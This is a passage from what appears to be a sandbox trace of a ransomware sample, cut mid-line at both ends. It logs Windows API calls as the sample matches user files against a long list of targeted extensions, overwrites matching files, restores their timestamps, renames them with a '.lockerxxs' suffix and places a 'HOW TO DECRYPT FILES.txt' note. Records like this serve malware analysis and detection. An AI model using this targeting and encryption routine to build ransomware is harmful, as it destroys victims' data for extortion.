HALPmcxz\\Pictures\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\how to decrypt files.txt")) returned 0x20 [0091.209] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", lpString2="Wp1_SD9RrtjTM.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png" [0091.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.ems") returned 0 [0091.209] lstrlenA (lpString="*.ems") returned 5 [0091.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.db") returned 0 [0091.209] lstrlenA (lpString="*.db") returned 4 [0091.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.dbf") returned 0 [0091.209] lstrlenA (lpString="*.dbf") returned 5 [0091.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.myox") returned 0 [0091.209] lstrlenA (lpString="*.myox") returned 6 [0091.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.myo") returned 0 [0091.209] lstrlenA (lpString="*.myo") returned 5 [0091.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.qbw") returned 0 [0091.209] lstrlenA (lpString="*.qbw") returned 5 [0091.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.qbb") returned 0 [0091.209] lstrlenA (lpString="*.qbb") returned 5 [0091.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.qbm") returned 0 [0091.209] lstrlenA (lpString="*.qbm") returned 5 [0091.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.qbo") returned 0 [0091.209] lstrlenA (lpString="*.qbo") returned 5 [0091.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.qbx") returned 0 [0091.209] lstrlenA (lpString="*.qbx") returned 5 [0091.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.qba") returned 0 [0091.210] lstrlenA (lpString="*.qba") returned 5 [0091.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.qby") returned 0 [0091.210] lstrlenA (lpString="*.qby") returned 5 [0091.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.qbj") returned 0 [0091.210] lstrlenA (lpString="*.qbj") returned 5 [0091.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.ofx") returned 0 [0091.210] lstrlenA (lpString="*.ofx") returned 5 [0091.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.qif") returned 0 [0091.210] lstrlenA (lpString="*.qif") returned 5 [0091.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.mye") returned 0 [0091.210] lstrlenA (lpString="*.mye") returned 5 [0091.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.mbox") returned 0 [0091.210] lstrlenA (lpString="*.mbox") returned 6 [0091.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.eml") returned 0 [0091.210] lstrlenA (lpString="*.eml") returned 5 [0091.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.pst") returned 0 [0091.210] lstrlenA (lpString="*.pst") returned 5 [0091.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.ost") returned 0 [0091.210] lstrlenA (lpString="*.ost") returned 5 [0091.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.idx") returned 0 [0091.210] lstrlenA (lpString="*.idx") returned 5 [0091.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.dbx") returned 0 [0091.210] lstrlenA (lpString="*.dbx") returned 5 [0091.211] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.sql") returned 0 [0091.211] lstrlenA (lpString="*.sql") returned 5 [0091.211] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.mdb") returned 0 [0091.211] lstrlenA (lpString="*.mdb") returned 5 [0091.211] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.fdb") returned 0 [0091.211] lstrlenA (lpString="*.fdb") returned 5 [0091.211] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.wab") returned 0 [0091.211] lstrlenA (lpString="*.wab") returned 5 [0091.211] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.dat") returned 0 [0091.211] lstrlenA (lpString="*.dat") returned 5 [0091.211] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.txt") returned 0 [0091.211] lstrlenA (lpString="*.txt") returned 5 [0091.211] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.jpeg") returned 0 [0091.211] lstrlenA (lpString="*.jpeg") returned 6 [0091.211] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.jpg") returned 0 [0091.211] lstrlenA (lpString="*.jpg") returned 5 [0091.211] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", pszSpec="*.png") returned 1 [0091.211] lstrlenA (lpString="*.png") returned 5 [0091.211] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png" [0091.211] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png" [0091.211] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png." [0091.211] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png.lockerxxs" [0091.212] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\wp1_sd9rrtjtm.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0091.212] GetFileSize (in: hFile=0x88, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xbea [0091.212] GetFileTime (in: hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x640f9100, dwHighDateTime=0x1d5d9fe), lpLastAccessTime=0x407536*(dwLowDateTime=0xb1f27150, dwHighDateTime=0x1d5e35c), lpLastWriteTime=0x40753e*(dwLowDateTime=0xb1f27150, dwHighDateTime=0x1d5e35c)) returned 1 [0091.213] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.213] ReadFile (in: hFile=0x88, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xbc4, lpOverlapped=0x0) returned 1 [0091.214] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png") returned="Wp1_SD9RrtjTM.png" [0091.214] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.214] WriteFile (in: hFile=0x88, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xbc4, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xbc4, lpOverlapped=0x0) returned 1 [0091.214] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0091.214] CloseHandle (hObject=0x88) returned 1 [0091.215] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\wp1_sd9rrtjtm.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\wp1_sd9rrtjtm.png.lockerxxs")) returned 1 [0091.216] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7efc4fc0, ftCreationTime.dwHighDateTime=0x1d5e47c, ftLastAccessTime.dwLowDateTime=0x8b2ef470, ftLastAccessTime.dwHighDateTime=0x1d5e4ed, ftLastWriteTime.dwLowDateTime=0x8b2ef470, ftLastWriteTime.dwHighDateTime=0x1d5e4ed, nFileSizeHigh=0x0, nFileSizeLow=0xe7fa, dwReserved0=0x40000343, dwReserved1=0x4e00c4, cFileName="XhJQVMj9.bmp", cAlternateFileName="")) returned 1 [0091.216] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0091.216] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="XhJQVMj9.bmp") returned -1 [0091.216] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="XhJQVMj9.bmp") returned -1 [0091.216] lstrcmpiA (lpString1="", lpString2="XhJQVMj9.bmp") returned -1 [0091.216] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Wp1_SD9RrtjTM.png") returned="Wp1_SD9RrtjTM.png" [0091.216] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0091.216] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="" [0091.216] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HOW TO DECRYPT FILES.txt" [0091.216] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\how to decrypt files.txt")) returned 0x20 [0091.216] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", lpString2="XhJQVMj9.bmp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp" [0091.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.ems") returned 0 [0091.216] lstrlenA (lpString="*.ems") returned 5 [0091.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.db") returned 0 [0091.216] lstrlenA (lpString="*.db") returned 4 [0091.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.dbf") returned 0 [0091.216] lstrlenA (lpString="*.dbf") returned 5 [0091.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.myox") returned 0 [0091.216] lstrlenA (lpString="*.myox") returned 6 [0091.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.myo") returned 0 [0091.216] lstrlenA (lpString="*.myo") returned 5 [0091.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.qbw") returned 0 [0091.217] lstrlenA (lpString="*.qbw") returned 5 [0091.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.qbb") returned 0 [0091.217] lstrlenA (lpString="*.qbb") returned 5 [0091.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.qbm") returned 0 [0091.217] lstrlenA (lpString="*.qbm") returned 5 [0091.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.qbo") returned 0 [0091.217] lstrlenA (lpString="*.qbo") returned 5 [0091.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.qbx") returned 0 [0091.217] lstrlenA (lpString="*.qbx") returned 5 [0091.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.qba") returned 0 [0091.217] lstrlenA (lpString="*.qba") returned 5 [0091.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.qby") returned 0 [0091.217] lstrlenA (lpString="*.qby") returned 5 [0091.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.qbj") returned 0 [0091.217] lstrlenA (lpString="*.qbj") returned 5 [0091.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.ofx") returned 0 [0091.217] lstrlenA (lpString="*.ofx") returned 5 [0091.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.qif") returned 0 [0091.217] lstrlenA (lpString="*.qif") returned 5 [0091.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.mye") returned 0 [0091.217] lstrlenA (lpString="*.mye") returned 5 [0091.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.mbox") returned 0 [0091.217] lstrlenA (lpString="*.mbox") returned 6 [0091.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.eml") returned 0 [0091.217] lstrlenA (lpString="*.eml") returned 5 [0091.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.pst") returned 0 [0091.217] lstrlenA (lpString="*.pst") returned 5 [0091.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.ost") returned 0 [0091.217] lstrlenA (lpString="*.ost") returned 5 [0091.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.idx") returned 0 [0091.218] lstrlenA (lpString="*.idx") returned 5 [0091.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.dbx") returned 0 [0091.218] lstrlenA (lpString="*.dbx") returned 5 [0091.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.sql") returned 0 [0091.218] lstrlenA (lpString="*.sql") returned 5 [0091.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.mdb") returned 0 [0091.218] lstrlenA (lpString="*.mdb") returned 5 [0091.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.fdb") returned 0 [0091.218] lstrlenA (lpString="*.fdb") returned 5 [0091.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.wab") returned 0 [0091.218] lstrlenA (lpString="*.wab") returned 5 [0091.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.dat") returned 0 [0091.218] lstrlenA (lpString="*.dat") returned 5 [0091.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.txt") returned 0 [0091.218] lstrlenA (lpString="*.txt") returned 5 [0091.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.jpeg") returned 0 [0091.218] lstrlenA (lpString="*.jpeg") returned 6 [0091.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.jpg") returned 0 [0091.218] lstrlenA (lpString="*.jpg") returned 5 [0091.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.png") returned 0 [0091.218] lstrlenA (lpString="*.png") returned 5 [0091.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.php") returned 0 [0091.218] lstrlenA (lpString="*.php") returned 5 [0091.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.cs") returned 0 [0091.218] lstrlenA (lpString="*.cs") returned 4 [0091.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.cpp") returned 0 [0091.218] lstrlenA (lpString="*.cpp") returned 5 [0091.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.rar") returned 0 [0091.219] lstrlenA (lpString="*.rar") returned 5 [0091.219] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.zip") returned 0 [0091.219] lstrlenA (lpString="*.zip") returned 5 [0091.219] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.html") returned 0 [0091.219] lstrlenA (lpString="*.html") returned 6 [0091.219] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.htm") returned 0 [0091.219] lstrlenA (lpString="*.htm") returned 5 [0091.219] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.xlsx") returned 0 [0091.219] lstrlenA (lpString="*.xlsx") returned 6 [0091.219] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.xls") returned 0 [0091.219] lstrlenA (lpString="*.xls") returned 5 [0091.219] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.mp4") returned 0 [0091.219] lstrlenA (lpString="*.mp4") returned 5 [0091.219] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.ppt") returned 0 [0091.219] lstrlenA (lpString="*.ppt") returned 5 [0091.219] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.pptx") returned 0 [0091.219] lstrlenA (lpString="*.pptx") returned 6 [0091.219] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.doc") returned 0 [0091.219] lstrlenA (lpString="*.doc") returned 5 [0091.219] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.dot") returned 0 [0091.219] lstrlenA (lpString="*.dot") returned 5 [0091.219] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.docx") returned 0 [0091.219] lstrlenA (lpString="*.docx") returned 6 [0091.219] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.7z") returned 0 [0091.219] lstrlenA (lpString="*.7z") returned 4 [0091.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.tar") returned 0 [0091.220] lstrlenA (lpString="*.tar") returned 5 [0091.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.bz2") returned 0 [0091.220] lstrlenA (lpString="*.bz2") returned 5 [0091.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.gz") returned 0 [0091.220] lstrlenA (lpString="*.gz") returned 4 [0091.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.mkv") returned 0 [0091.220] lstrlenA (lpString="*.mkv") returned 5 [0091.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.eml") returned 0 [0091.220] lstrlenA (lpString="*.eml") returned 5 [0091.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.msg") returned 0 [0091.220] lstrlenA (lpString="*.msg") returned 5 [0091.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.edb") returned 0 [0091.220] lstrlenA (lpString="*.edb") returned 5 [0091.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.accdb") returned 0 [0091.220] lstrlenA (lpString="*.accdb") returned 7 [0091.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.odb") returned 0 [0091.220] lstrlenA (lpString="*.odb") returned 5 [0091.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.java") returned 0 [0091.220] lstrlenA (lpString="*.java") returned 6 [0091.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.asm") returned 0 [0091.220] lstrlenA (lpString="*.asm") returned 5 [0091.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.pfx") returned 0 [0091.220] lstrlenA (lpString="*.pfx") returned 5 [0091.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.pem") returned 0 [0091.221] lstrlenA (lpString="*.pem") returned 5 [0091.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.p12") returned 0 [0091.221] lstrlenA (lpString="*.p12") returned 5 [0091.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.gpg") returned 0 [0091.221] lstrlenA (lpString="*.gpg") returned 5 [0091.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.vsd") returned 0 [0091.221] lstrlenA (lpString="*.vsd") returned 5 [0091.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.odg") returned 0 [0091.221] lstrlenA (lpString="*.odg") returned 5 [0091.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.raw") returned 0 [0091.221] lstrlenA (lpString="*.raw") returned 5 [0091.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.nef") returned 0 [0091.221] lstrlenA (lpString="*.nef") returned 5 [0091.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 